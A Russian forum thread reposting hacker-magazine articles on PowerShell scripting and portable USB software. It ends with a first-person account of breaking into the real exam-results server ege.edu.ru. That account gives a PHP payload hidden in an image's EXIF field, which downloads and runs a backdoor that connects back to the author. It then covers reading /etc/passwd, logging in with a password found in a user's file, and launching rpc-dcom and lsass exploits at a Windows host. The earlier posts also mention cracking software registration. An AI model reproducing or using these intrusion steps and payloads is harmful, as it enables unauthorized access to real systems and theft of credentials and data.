Если добавить эту функцию в свой профайл, то приглашение, которое выводит текущий путь, окрасится в красивый фиолетовый цвет, а в заголовке окна покажется количество элементов в текущем каталоге и число запущенных процессов. Вообще, если немного повозится с тюнингом профайла, то можно нехило поднатаскаться в создании скриптов и заметно упростить использование шелла. Например, никто не мешает тебе подсвечивать разные типы файлов соответствующими им цветами. Это не только радует глаз, но и заметно упрощает навигацию по файловой системе. А реализуется проще простого:

$list = get-childitem | sort-object

foreach ($objItem in $list) {

if ($objItem.Attributes -contains "Directory") { $fgc="cyan" }

elseif ($objItem.Extension -eq ".ps1") { $fgc="blue" }

elseif ($objItem.Extension -eq ".exe") { $fgc="green" }

elseif ($objItem.Extension -eq ".zip") { $fgc="red" }

elseif ($objItem.Extension -eq ".rar") { $fgc="red" }

else { $fgc="gray" }

write-host $objItem.Name, $objItem.Length, $objItem.LastWriteTime -foregroundcolor $fgc

}

Формальное описание: получаем содержимое директории как массив, парсим его с помощью конструкции if/elseif/else, задаем значение переменной $fgc. Впоследствии, когда строка будет выводиться на экран, с ее помощью будет назначен цвет текста.

Интерфейс управления системой

А теперь с помощью функции получим список, установленного в системе оборудования:

Function Show-InstalledSoftware {

$prod = Get-WmiObject win32_product

$prod| sort name |ft Name, Version, Vendor, Installdate -a

}

set-alias sis Show-InstalledSoftware

Ты еще раз убедился, что скрипт написан полностью с использованием cmdlets. Этот код с вызовом функции Get-WmiObject я привел не просто так. WMI — это Windows Management Instrumentation, то есть программный интерфейс управления системой. С помощью WMI возможно управлять операционкой и получать информацию о системе. Например, ты легко можешь получить настройки БИОСа:

gwmi win32_BIOS

SMBIOSBIOSVersion : ASUS A7N8X2.0 ACPI BIOS Rev 10

Manufacturer : Phoenix Technologies, LTD

Name : Phoenix - AwardBIOS v6.00PG

SerialNumber : xxxxxxxxxxx

Version : Nvidia - 42302e31

Маленькое пояснение: gwmi — это короткий псевдоним все той же Get-WmiObject. Штука поистине уникальная: с ее помощью можно узнать о всех девайсах, присоединенных к твоему компу (принтеры, сканеры), сетевых настройках, легко управлять софтом, установленном на машине (так же как в меню «Установка и удаление программ») и многое другое. Смотри, как вывести свободное место на своих дисках:

get-wmiobject Win32_LogicalDisk | select deviceid,freespace,size

deviceid freespace size

-------- --------- ----

A:

C: 6861377536 27135164416

D: 1317060608 18867748864

Для этого в качестве параметра для Get-WmiObject мы передали флаг Win32_LogicalDisk и таким образом получили полную статистику по дискам с нужными нам полями. Набери в консоли «Get-WmiObject –list» — и ты подивишься разнообразию объектов, о которых собрана информация. Но едва ли среди этого огромного списка найдешь то, что тебе действительно нужно. Но тут есть простой рецепт — набери в консоли:

get-WMIObject -list | where {$_ -match "что тебя интересует"}

Конструкция, указанная после пайпа (|), — это что-то вроде аналога grep в юниксе. То есть она фильтрует строки по содержимому, и после ввода этой команды ты получишь только те строки, в которых содержится интересующая тебя последовательность символов.

Необычные провайдеры

Перейдем к еще одной новаторской фиче — PowerShell. Ребята из Microsoft подумали и решили максимально упростить работу пользователя с различными структурами: файловой системой, реестром, множеством переменных. Для всех них определены несколько общих методов, позволяющих легко манипулировать данными. Вот пример. Допустим, мы выбрали в качестве структуры (в плоскости PowerShell — провайдера) файловую систему и совершенно обычным образом перемещаемся между папками и дисками с помощью команды cd. Зашли в диск C:\ и просмотрели содержимое с помощью ls. А теперь выберем в качестве структуры реестр. По большому счету, он очень схож с файловой системой: разделы или ветки — это папки, а ключи реестра – это файлы. Так почему бы не перемещаться по ним аналогичным образом? Провайдером по умолчанию, что логично, установлена файловая система (FileSystem). Чтобы сменить провайдера, необходимо использовать команду Set-Location. Список всех доступных вариантов выдаст команда Get-PSProvider:

Name Capabilities Drives

---- ------------ ------

Alias ShouldProcess {Alias}

Environment ShouldProcess {Env}

FileSystem Filter, ShouldProcess {C, D, E, F..

Function ShouldProcess {Function}

Registry ShouldProcess {HKLM, HKCU}

Variable ShouldProcess {Variable}

Certificate ShouldProcess {cert}

Скажем, если ты хочешь изучить содержимое реестра, то должен переключиться на него с помощью команды Set-Location HKLM:\. Теперь просмотри список ветки HKLV с помощью ls. Вывод команды отображен на скрине — глянь туда. Теперь ты можешь творить с реестром, что хочешь. Его ветки теперь для тебя, как папки, и ты можешь бродить по ним через «cd». А значения ключей легко выводятся cat’ом. Это, кстати, одна из самых мощных и полезных фич PowerShell'a.

Это только начало приключений

Признаться, PowerShell настолько многообразный и функциональный, что едва ли я охватил даже тысячную часть всех его возможностей. Но я постарался показать самый сок и основной подход в реализации сценариев. Теперь — дело за тобой. Всевозможные HOWTO и подробная документация доступна в интернете, но пока только на английском языке. Но штуковина стоит того, чтобы с ней разобраться — за ней будущее.

Эти фишки помогут тебе в настройке автоматики

PowerShell предоставляет удобные средства по работе с системными службами. Следующая команда, к примеру, выводит список работающих служб:

get-service | where-object { $_.Status -eq "Running" }

Внимательно изучи ключи командлета set-service. С его помощью легко меняются любые параметры служб, например тип запуска:

set-service <имя_службы> -StartupType Manual

Новый шелл от Microsoft имеет в своем арсенале десятки служебных переменных, использованием которых не стоит пренебрегать. Например, переменная $LASTEXITCODE всегда содержит код завершения последней запущенной программы. Заюзать ее проще простого. Например, команда ping, в случае недоступности удаленного хоста, возвращает в качестве кода завершения единицу, а в случае получения ICMP-ответа (то есть удачного подключения) — ноль. Таким образом, написание простейшего скрипта для мониторинга работоспособности удаленного хоста сводится к одной-единственной конструкции if-else.

Удаленное администрирование

Народные умельцы уже написали клиент-серверный скрипт, позволяющий работать в PowerShell на расстоянии. Разработка доступна на сайте http://mshforfun.blogspot.com/2006/03/powe...and-future.html и весит аж 300 Кб. Сейчас расскажу, как его поставить. Выкачивай архив, распаковывай и запускай в PowerShell. Переходи в папку с сервером (PowerShellRemoting\server) и запускай инсталляционный скрипт: ./'install.ps1'. Не забудь одну важную вещь. В новом шелле есть такая фича, как execution policies, которая контролирует режимы запуска скриптов. По умолчанию ни один сценарий у тебя не запустится (это для твоей же безопасности сделали, наученные горьким опытом, Script Host). Чтобы активировать возможность запуска скриптов, необходимо выполнить команду Set-ExecutionPolicy RemoteSigned, устанавливающую разрешающий режим. Подробности по теме описаны в справке: Get-Help about_signing | more. Теперь вернемся к установке. После подтверждения установки, в системе обозначится новая служба PowerShellRemoting — ее необходимо запустить, а также настроить на автоматический запуск. Это делается через «Панель управление -> Администрирование -> Службы». По умолчанию шелл принимает подключения от администратора с локалхоста, а для того, чтобы разрешить доступ другим клиентам, необходимо исправить файл user.xml. Ну а дальше? Дальше надо аналогично установить клиентскую часть и радоваться жизни, подключаясь к удаленному компу: ./'Start-Remotehost.

WWW

Рекомендую посетить www.script-coding.info, один из немногих ресурсов с информацией о PowerShell на русском языке.

Большое количество полезных скриптов лежит на www.reskit.net. Их тоже в виде функций можно вставить в свой профайл. Пригодятся.

Хороший гид по PowerShell ты найдешь на сайте:

http://arstechnica.com/guides/other/msh.ars/1.htm

INFO

Название Monad пошло из философии Готфрида-Лейбница — «монадологии», которая гласит о том, что весь мир состоит из множества фундаментальных единиц (монады), которые гармонично соединены между собой. В PowerShell этими частицы являются cmdlet’ы. Что ни говори, а с этим не поспоришь.

DVD

На диске ты найдешь последнюю версию PowerShell, а также примеры скриптов

INFO

Любую команду можно в любой момент дополнить нажатием клавиши Tab. Знакомая фишка, да?



--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 19 2006, 16:55
Сообщение #26


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Убойная флешка


Джентльменский набор софта на твоей флешке

Дома я использую браузер Firefox, толково настроенный и вооруженный всевозможными плагинами. На чужом же компьютере мне постоянно пытаются подсунуть что-то свое. Вот прихожу в издательство, а там везде установлен Internet Explorer. Причем установить свои программы нельзя — система тут же напоминает о недостаточности прав. Еще бы, ведь администратор категорически против самодеятельности. Вот сижу теперь и думаю: то ли осваиваться с предложенным набором убого софта, то ли составить свой.

Portable Apps

Решение, конечно же, есть. Ведь программы можно записать на флешку и носить собой. Но тут опять загвоздка. Не получится просто установить приложение на сменный носитель и запускать его с чужого компа. В большинстве случаев возникнут проблемы с реестром, не говоря уже о всевозможных библиотеках и драйверах, активно используемых приложениями. Определить зависимости несложно, но для установки того же драйвера тебе, как минимум, понадобятся права администратора. А в этом случае наша затея теряет смысл. К счастью, нашлись энтузиасты, которые озадачились проблемой и начали разрабатывать специальные версии популярных приложений, адаптированные для запуска с USB-накопителей. В сети даже появилась новая категория программ — portable applications. Вот с ними нам и предстоит сегодня познакомиться. Начнем, пожалуй, с браузера.

Браузер

Чаще всего я запускаю браузер — это факт. Я настолько привык к удобному интерфейсу Firefox, его впечатляющей расширяемости и стабильной работе (для любой уязвимости тут же выходит апдейт), что использовать что-то другое уже попросту не могу. Поэтому на флешке я всегда ношу специальную портируемую версию огненной лисы, запускаемую без установки. Portable Firefox, а именно так называется разработка, распространяется в виде архива, который легко распаковывается на флешку, после чего успешно используется так, как если бы это был обычно установленный браузер. Портируемый Firefox легко поддается русификации с помощью специального xpi-файла с локализацией, однако на сайте и форуме www.mozilla.ru всегда можно найти готовую русскую версию модифицированной лисы. Важно, что подобные маневры никак не влияют на функциональность программы: ты по-прежнему можешь подключать любые расширения. Хороший сборник плагинов, кстати, компонует и распространяет все тот же сайт mozilla.ru. Поклонникам Opera’ы аналогичным образом подойдет программа Opera@USB.

Почтовый клиент

Если говорить о почтовом клиенте, то для поклонников The Bat! подготовлен беспроигрышный вариант. Сама Ritlabs, то есть разработчик мыши, изготовила портируемую версию своего приложения. Чудо называется The Bat! Voyager и устанавливается на нужный топ (флешку) с помощью специального мастера. В результате получается полноценный The Bat со всеми функциями и наворотами, но на сменном носителе. Единственное огорчает, что программа платная и очень капризная по отношению к регистрационным данным. Хуже всего то, что разработчиками применяется двухступенчатая система регистрации: сначала с помощью регистрационного ключа, а потом по идентификатору сменного устройства. В инете несложно найти патчи, которые эти ограничения снимают, но все-таки придется повозиться. Если такого желания нет, то рекомендую другой вариант — Portable Thunderbird. Не прога, а настоящая находка: функциональный почтовик на флешке да еще с открытыми исходниками.

Всего помаленьку

Очень важно иметь с собой файловый менеджер, так как стандартный проводник может вывести из равновесия кого угодно. Что касается Total Commander’а и Far’а, то никаких проблем не возникнет. Достаточно скопировать папки с установленными приложениями на флеш-накопитель и совершенно спокойно их использовать. Отличной заменой встроенному FTP-клиенту станет бесплатное приложение FileZilla. Тулза, работающая без дополнительной установки, удовлетворит потребности даже самых требовательных пользователей. Популярные мессенджеры Miranda IM, qip и &RQ также отлично работают без дополнительных доработок. Для этого нужно лишь скопировать на флешку все рабочие файлы, а также файлы-профили. Нужен портативный HTML-редактор? В этом случае идеально подойдет Portable NVU. Не Dreamweaver, конечно, но для быстрого редактирования веб-документа в непривычных условиях вполне сойдет. Кстати, на флешке возможно разместить функциональный веб-сервер (XAMPP), чтобы тестировать и отлаживать динамические Perl- и PHP-сценарии.

В нашем деле нередко требуется получить удаленный доступ к компьютеру. В принципе, вполне можно использовать любимый PuTTY, распространяющийся в виде отдельного exe'шника,.Но есть одно «но». По умолчанию SSH-клиент хранит настройки и параметры подключений в реестре, поэтому на каждом новом компьютере его придется конфигурировать заново. Специальная версия PortaPuTTY быстро решит эту проблему, сохранив конфиг в XML-файле.

Теперь о мультимедия. Winamp не всегда успешно работает на флешке. Но все его функции отлично выполняет портируемый плеер XMPlay, в чем ты скоро убедишься. Тут тебе и поддержка всех популярных форматов (OGG, MP3, WMA и т.д.), и плей-листов PLS/M3U/ASX/WAX и даже скинов, которые визуально позволяют сделать копию винампа.

Безопасность

Эффективно спрятать конфиденциальные данные позволяют всевозможные системы шифрования. Мы уже писали о них в одном из наших номеров. Тогдашние победители обзора (TrueCrupt и BestCrypt), хотя и позволяют хранить зашифрованный контейнер на внешнем носителе, но требуют установки в ОС специального. Другими словами, примонтировать зашифрованный диск на другом компьютере без предварительной установки софта ты не сможешь. Вряд ли кого заинтересует идея носить компромат в кармане, поэтому пришлось искать альтернативный продукт. Решение нашлось очень скоро. Отказавшись от контейнера в виде логического диска, можно легко оперировать отдельными файлами или, что удобнее, каталогами при помощи таких утилит, как Remora USB Disk Guard. Рассказывать о программе, по большому счету, нечего. Она просто эффективно шифрует данные с использованием криптостойких алгоритмов.

Тот, кто для разных сервисов в интернете использует уникальные пароли, особенно рекомендую разместить на флешке программу для хранения паролей. Ты не ошибешься, если остановишь свой выбор на утилите KeePass Password Safe. Пароли останутся в сохранности благодаря непробиваемой системе шифрования, а чрезвычайно удобный интерфейс поможет быстро найти то, что нужно, и освежить память. Программа хороша во всех отношениях: разработчики даже позаботились о том, чтобы информация о паролях не была перехвачена кейлоггерами, а это многого стоит.

Райские условия

Мало записать программы на диск — нужно позаботиться об их комфортном запуске. И с этой задачей с доблестью справляется утилита PStart. По сути, это обычная панель, на которой размещены ярлыки для запуска всевозможного софта. Но у нее есть специальный режим, позволяющий работать с программами на сменном носителе. Фишка в том, что PStart не привязывается к конкретной букве диска во время создания ярлыков. И если в одном компьютере флешка монтируется как диск F:, а на другом — G:, то любые ярлыки по-прежнему будут ссылаться на программы как ни в чем не бывало.

Сразу после запуска в трее появляется PStart, позволяющая запустить любое приложение с флешки за считанные секунды. Более того, для каждой портированной проги можно настроить запуск по расписанию или автостарт (во время запуска самого PStart’а). У меня, например, автоматически запускает Miranda. А вот наладить автозапуск, как в случае CD/DVD дисками, не получится, и виной тому — ограничения самой Windows. Справедливости ради замечу, что некоторые модели флешек такую возможность все-таки предоставляют.

Чертовски маленький линукс

Набор отборного софта не флешке — это уже хорошо. Но ты никогда не задумывался, что на ней можно разместить целую операционную систему. Просто вставил носитель в USB-разъем и грузи с него настроенную под себя ось без каких-либо ограничений и квот, препятствующих установке любимых программ. Воплотить мечту в реальность поможет любой LiveCD дистрибутив пингвина, но я рекомендую воспользоваться Damn Small Linux (www.damnsmalllinux.org). Суди сам: в 50-метровый образ тукса входят полноценные мультимедиа утилиты (XMMS), FTP-клиент, браузер Firefox, почтовый мыльник Sylpheed, текстовые и графические редакторы, проги для просмотра документов, файловые менеджеры, мессенджер, VNC- и Rdesktop-клиенты для доступа к удаленному компу. Более того, ты легко сможешь подключить DSLinux к локалке или инету, благо и DHCP-клиент, и пакеты для работы с PPP, PPPoE (ASDL) входят в стандартную поставку. Выбор именно этого дистрибутива обусловлен еще и тем, что он изначально заточен для работы с USB-накопителями, а это избавит нас от кучи геморроя.

Установить систему не составит труда, но для этого нужно немного подготовиться. Позаботься, чтобы на флешке было достаточно свободного места, а лучше вообще отформатируй накопитель, предварительно сделав бэкап всех файлов. Причем не стандартной утилитой Windows, а всемирно признанной тулзой HP USB Disk Storage Format Tool. Далее c помощью WinRAR можешь смело распаковать содержимое iso-образа в корень накопителя. Но для того, чтобы загрузиться с флешки, этого будет недостаточно. Нужно еще сделать флешку загрузочной, что реализуется с помощью специальной утилиты Syslinux. Требуется распаковать архив с программой в одну из папок и запустить со следующими ключами:

syslinux.exe -f G:

Здесь G: — это название нужного диска с флешкой. И вот только теперь все готово: убойный USB-накопитель в твоих руках. Большинство современных BIOS поддерживают загрузку с флешки в одном из режимов USB-HDD или USB-Zip. Функционально они ничем не отличаются, поэтому для загрузки с флешки достаточно установить любой из них. И вот еще бонус: во время обычной загрузки в винду, открой свой накопитель и среди файлов запусти файл dsl-windows.bat. И смотри, что произойдет smile.gif.

Найди свой софт

Естественно, набор софта каждый составляет под себя исходя из своих нужд и соображений. Я рассказал лишь о тех программах, которые постоянно использую с флешки сам. А тебе еще самому предстоит найти программы для записи болванок, просмотра изображений и бог знает чего еще на специализированных сайтах. Я дам тебе список: en.wikipedia.org/wiki/List_of_portable_applications, www.portableapps.com, www.tinyapps.org/, standalone.atspace.org/, www.no-install.com. Действуй! smile.gif

ИНФО

Установив расширение Firefox Bookmarks Synchronizer, ты получишь возможность синхронизировать закладки браузера по возращении домой. Актуальная копия всегда будет храниться на специальном FTP-cервере.

Флешки в последнее время сильно подешевели: накопитель с объемом 1 Гб уже не стоит нескольких тысяч рублей. Шестьсот-восемьсот рублей — это нормальная цена. Дешевеют и портавные жесткие диски, предназначенные для подключения к ноутбуку. Обрати на них внимание, если требуется большой объем.

ИНФО

Многие другие небольшие LiveCD-дистрибутивы можно загружать с USB. В том числе SLAX (www.slax.org), Puppy Linux (www.puppylinux.org), INSERT (www.inside-security.de/insert_en.html).

WWW

Portable Firefox

www.portableapps.com/apps/internet/browsers/portable_firefox

Opera@USB

www.opera-usb.com

The Bat! Voyager

www.ritlabs.com/ru/products/voyager

Portable Thunderbird

www.portableapps.com/apps/internet/email/portable_thunderbird

Total Commander

www.ghisler.com

Far

www.rarlab.com/far_manager.htm

FileZilla filezilla.sourceforge.net

Miranda IM

www.miranda-im.org

qip

www.qip.ru

&RQ

www.rejetto.com/&RQ

Portable NVU 1.0

johnhaller.com/jh/mozilla/portable_nvu/

XAMPP

www.apachefriends.org/en/xampp.html

XMPlay

www.un4seen.com

PortaPuTTY

socialistsushi.com/portaputty

Remora USB Disk Guard

www.richskills.com

KeePass Password Safe

keepass.sourceforge.net

PStart

www.pegtop.de/start

HP USB Disk Storage Format Tool

selfdestruct.net/misc/usbboot

Syslinux

syslinux.zytor.com

Портируемая радость

Читая эту статью, тебе не приходила мысль создать на USB-флешке некую виртуальную среду со своими системными настройками и реестром? Чтобы туда без проблем можно было установить системный драйвер (например, для True Crypt) и задать любые другие настройки для нормальной работы приложений. Представь: установил программу на флешку и можешь запускать ее откуда угодно. Хороша идея, да?
Воплощением этой мечты в жизнь занимаются сразу несколько команд разработчиков. Недавно на рынке даже появилась целая платформа U3 и созданные на ее основе накопители (www.u3.com/smartdrives/default.aspx). Немногим дороже обычных флешек они предоставляют возможность запускать любые приложения и драйвера с накопителя посредством специальной оболочки, не оставляя при этом следов в основной системе. Реализация системы жестко зашита внутрь самой флешки.

Совершенно иное решение предоставляет компания thinstall (thinstall.com/products/overview.php). Их продукт — Virtualization Suite — позволяет программно поместить приложение любой сложности внутрь специального контейнера. Такой контейнер представляет собой обычный exe-файл, состоящий из специальной виртуальной среды, а также всех необходимых для работы приложения драйверов и DLL-библиотек. Модифицированное таким образом приложение легко запускается на других компьютерах, даже с абсолютно «чистой» системой. Но не спеши радоваться. К сожалению, все мои попытки скачать программу и найти ее взломанный вариант не увенчались успехам. Может быть, тебе повезет больше?





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Tier
сообщение Nov 19 2006, 16:56
Сообщение #27


Активный пользователь
Group Icon

Группа: Advanced
Сообщений: 1 778
Регистрация: 23-October 06
Пользователь №: 630
Заходит на форум с полного инета.



копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить


--------------------
Изображение

Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 19 2006, 17:20
Сообщение #28


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Цитата(Tier @ Nov 19 2006, 17:56) *

копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить
копировать, новое сообщение, вставить

флуд ('>:(',%20'smid_1')


--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 19 2006, 20:40
Сообщение #29


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Взломанный госэкзамен

Штурмуем ege.edu.ru

Вот и наступил июль. Для кого-то это поездка на море и долгожданный отдых, а для выпускников школ России - время поступления в ВУЗы. А чтобы попасть в хороший универ, нужно поднапрячься на вступительных экзаменах или набрать приличные баллы на Едином государственном экзамене (ЕГЭ). Можно, конечно, пойти другим путем и взломать официальное хранилище результатов ЕГЭ. Ведь хакеры никогда не ищут легких путей.

День только начинался, и я по обыкновению смотрел телевизор. В полусонном состоянии нажимал кнопки пульта, переключая каналы, пока не остановился на интересной программе, где говорили о новых проектах Министерства образования, в частности, о ЕГЭ: хорошо это, мол, или плохо, нужно оно или нет. Вообще, такие программы я не люблю, и, наверное, переключил бы и этот канал, если бы разговор не зашел о невероятной информативности и безопасности, и плюс ко всему 100% оцениванию знаний ученика. Весьма неплохо одетый чувак в сером пиджаке сказал, что результаты по всей России стекаются на единый сервер ЕГЭ - ege.edu.ru. И что-то уж очень мне захотелось провести неформальный аудит этого интересного объекта, благо такая инфа очень дорого стоит.

Первые шаги к победе

Мой экран чист, в адресной строке находятся заветные слова - about:blank. Браузер ждет новой ссылки, а в его недрах уже вбита свежая анонимная прокся. И вот я лицезрею главную страницу ege.edu.ru. Дизайн сайта мне понравился, да и рассчитан он был на информативность. В первую очередь, бросилось в глаза то, что портал был написан на JSP, языке, который взломать мне пока не по силам. Быстренько полазив по ссылкам, я понял, что легкой добычи не будет. Явных ссылок, где было написано: «Вставь сюда |id| — и ты выполнишь команды на сервере», конечно же, не было. Полчаса ползанья по сайту ничего не дало. Не было даже ни одной захудалой xss'ки, благодаря которой я теоретически мог бы утянуть чьи-то плюшки. Также не прослеживалось инклуд-бага и подозрений на инъекции. Явно день складывался не в мою пользу. «Нет багов на сайте, попробую просканировать сервер», — подумал я и запустил страшного зверя nmap с параметрами ege.edu.ru -sS -O -p1-. Спустя 10 минут сканер выдал мне следующую информацию.

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )

Interesting ports on ege.edu.ru (85.142.20.50):

(The 65432 ports scanned but not shown below are in state: closed)

Port State Service

22/tcp filtered ssh

80/tcp open http

3128/tcp filtered squid-http

3141/tcp filtered vmodem

3389/tcp filtered ms-term-serv

Remote operating system guess: FreeBSD 6.0

Зри в картинку!

Как видим, практически все порты на сервере фильтровались. Опять-таки теоретически это не было проблемой, так как залить connback-шелл и получить консоль мне ничего не мешало. Однако бажных сервисов в инфе nmap'а я тоже не видел sad.gif. И я решил просканировать вручную главный портал - www.edu.ru. Изначально проверив соответствие IP-адресов командой host, я окончательно убедился, что www.edu.ru и ege.edu.ru находятся на одном сервере. Таким образом, было решено зайти на главный сайт и зарегистрироваться там, чтобы еще глубже прощупать возможности интерфейса. Случается, что зарегистрированные пользователи получают доступ к большему числу скриптов, нежели гости. И с этой мыслью я перешел по вкладке регистрации. Весьма интересным оказался тот факт, что при регистрации возможен аплоад фотографии на сервер. Этот момент здорово привлек мое внимание.

Изначально я тупо переименовал php-файл в картинку, надеясь на то, что скрипт сохранится в недрах системы, но обломался. Здесь программеры поработали на славу и включили распознавание контента (судя по сообщению о некорректности изображения). Руки невольно опускались, и я начал понимать, что сломать ЕГЭ мне не по зубам.

Но буквально через час я вспомнил, что рисунок - это не просто изображение. В него можно вставлять различные тэги, которые в ряде случаев способны выполняться как команда. В моем случае это сделать достаточно реально. Смотри: движок регистрации написан на PHP, теоретически при показе рисунка скрипт тупо берет все его содержимое и сливает браузеру. Но при наличии вредных тэгов, обрамленных <? ?>, часть рисунка может интерпретироваться как команда!

Все эти мысли промелькнули в моей голове за пару секунд. Зайдя на страницу http://www.edu.ru/index.php?page_id=13, я аккуратно заполнил все поля, представившись Исааком Моисеевичем Абрамсоном. Затем нашел в Гугле фотографию несчастного еврейского мальчика, слил ее на комп и открыл с помощью AcdSee. Далее дело техники: в поле введения EXIF я забил незамысловатую строку <?system("id");?> и бережно сохранил файл. Теперь мне ничего не оставалось, как просто загрузить фотку на сервер, не забывая отметить флажок «Поставьте флажок, если хотите опубликовать свои данные на нашем сервере».

Залив аццкий гифчик на сервер, я поспешил узреть свой профиль. Ура! Как я и думал, изображения подгружаются не напрямую, а через сценарий PHP. Однако вывода команды в исходниках рисунка я не увидел, собственно, как и комментария. Это было странно, поскольку при самом плохом раскладе я все равно должен был узреть мой комментарий. Проверить бажность движка можно было лишь одним способом: попытаться залить и выполнить connback-шелл. Для этого мне пришлось снова регистрироваться, но уже под именем Абрам Исаакович Шпильман. Картинка была та же, но подверглась ужасной трепанации. Запрос вырос в разы и стал выглядеть как <?system("wget aabbcc4.chat.ru/bd -O /tmp/b; chmod +x /tmp/b; /tmp/b 1.1.1.1");?>, где b был свежескомпиленный под FreeBSD бэкдор (мое чутье подсказывало мне, что воспользоваться услугами gcc через WWW было нельзя).

Итак, я опять поспешил в свой профиль, заботливо запустив netcat на своем шелле с ip 1.1.1.1. И, о чудо! В консоли появились заветные строчки о том, что connback соединился с моим сервером.

Первые сдвиги были налицо. Освоившись в системе, я узрел, что на сервере крутилась база MySQL. Она и привлекла мое внимание. Первое, что я сделал, — это перешел в каталог $HOME и попытался прочитать какие-либо конфиги. Но, как оказалось, Apache был настроен с suexec, поэтому прочесть каталог lib мне никак не удавалось. Неприятен был еще один факт: на сервере действительно был запрещен gcc, но данное ограничение я уже обошел. Набрав команду who, я увидел вполне себе живого админа, так что решил убраться восвояси до наступления сумерек.

А был ли Windows?

Ночью, повторив все вышеописанные шаги, я снова был в системе. Фряха, как я уже говорил, являлась достаточно новой, поэтому об эксплоитах я и думать забыл. Была надежда, что найдется какая-то зацепка, и сдвинусь с мертвой точки. Ан нет. Воспользоваться услугами locate я не мог - permission denied. Попробовав команду find / -name *pass* -ls, я не нашел ничего, кроме /etc/passwd и какой-то фигни в /usr/share. Примечательно, что каталог /home вообще не читался, поэтому find обошел его стороной.

Но это совсем не значит, что ситуация безвыходная. Я прочитал /etc/passwd и нашел там 4 пользовательских аккаунта группы wheel с шеллом /bin/bash. Один из них звался antonic. Именно в его папку я сумел зайти командой cd /home/antonic. Следующая команда ls дала мне возможность ознакомиться с содержимым каталога. Почему я это все описываю? Да потому, что нашел там каталог 1 с файлом pass.txt. Внутри него красовалась живописная строка: «Сменить на 11039423-02». Первое, что я хотел сделать, - попробовать этот пароль на консоль (может, моя радость была преждевременной, и Антоник записал какой-то другой пароль).

Но, как ты помнишь, 22 порт нещадно фильтровался, а у connback-шелла не было псевдотерминала. Если я наберу команду su, то система будет ругаться на отсутствие ttyp и не даст мне сменить пользователя. Здесь можно было выбрать два варианта: либо залить портированный эмулятор tty под Фряху, либо воспользоваться expect-сценарием. Я выбрал третий вариант — просто написал ssh antonic@localhost и интерактивно ввел пароль. И не ошибся. Я был внутри, но уже с группой wheel!

«Ну, пробил я головой стенку, и что я буду делать в соседней камере?», — подумал я. Прочитав хистори Антоника в надежде найти там рутовый пароль, я снова обломался: оказывается этот лопоухий юзер ни разу не переключался на рута sad.gif. Все это ввергло меня в большие печали, но тут я решил просканировать всю подсеть 85.142.20.50/29 на наличие иных серверов.

Резвый nmap (мне повезло, что он входит в поставку FreeBSD) показал еще один включенный компьютер в этой подсети с отпечатком WinXP без сервиспаков. Сначала я подумал, что это шутка или недоразумение, ведь таких машин в сети днем с огнем не сыщешь. Как оказалось позже, это действительно была голая винда, до зубов зафаерволенная изнутри. Единственный доверенный хост, как ты понимаешь, был этот Linux-сервер (а быть может, и вся подсеть).

Попробовав опять-таки портированный под фряху rpc-dcom эксплоит (еле нашел у себя на диске этот раритет), я выбрал первый таргет. Бинарник завис в ожидании и не хотел оживать. Как оказалось, виндовый айпишник перестал пинговаться. Вся моя жизнь пролетела перед глазами, и я уже представлял себя за решеткой. Но спустя пару минут айпишник снова ожил (похоже, что система ушла в экстренный ребут). Тогда я попробовал сплоит к баге lsass, потому как последний вариант этого эксплоита более гуманно относился к операционным системам из-за излишней «отточенности» таргетов. Как ни странно, меня ждал успех с первой попытки, так как 445 порт ничем не фильтровался, а заплаток к lsass на винде отродясь не стояло.

